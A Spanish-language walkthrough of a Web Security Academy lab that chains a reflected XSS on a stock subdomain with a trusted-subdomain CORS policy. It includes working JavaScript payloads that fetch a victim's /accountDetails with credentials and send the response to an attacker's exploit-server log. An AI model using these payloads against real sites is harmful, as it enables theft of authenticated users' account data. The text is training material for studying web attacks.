3 - CORS vulnerability with trusted insecure protocols

Se permite el acceso al dominio desde subdominios de este

Esto no va a funcionar porque los navegadores bloquean las modificaciones manuales de la cabecera origin:

<script>

var req = new XMLHttpRequest();
req.onload = reqListener
req.open('get','https://0a1f00890465b05f825c0b7800440048.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.setRequestHeader('Origin', 'https://test.0a1f00890465b05f825c0b7800440048.web-security-academy.net');
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};

</script>

Desde el subdominio stock.<PS id>.web-security-academy.net es posible usar la consola para hacer una solicitud de orígenes cruzados, nos devolverá los datos de wiener (el usuario autenticado), esto quiere decir que funcionará cuando le pasemos el link malicioso a la víctima.

Cuando la víctima entre al enlace (de nuestra web maliciosa) se encontrará con una web que tiene incrustado el siguiente código javascript:

<script> document.location="http://stock.0a1f00890465b05f825c0b7800440048.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a1f00890465b05f825c0b7800440048.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0ac300f204cbb06f827d0a7501a90036.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1" </script>

Este código redirige a la víctima a un subdominio de la web de la que queremos extraer información, este subdominio tiene un xss que aprovechamos para hacer una solicitud a la web de la que queremos extraer información y el resultado en formato texto lo enviamos a nuestro servidor de atacante.
Esta página esta abierta por la víctima (el administrador) , por lo que esta estará autenticada.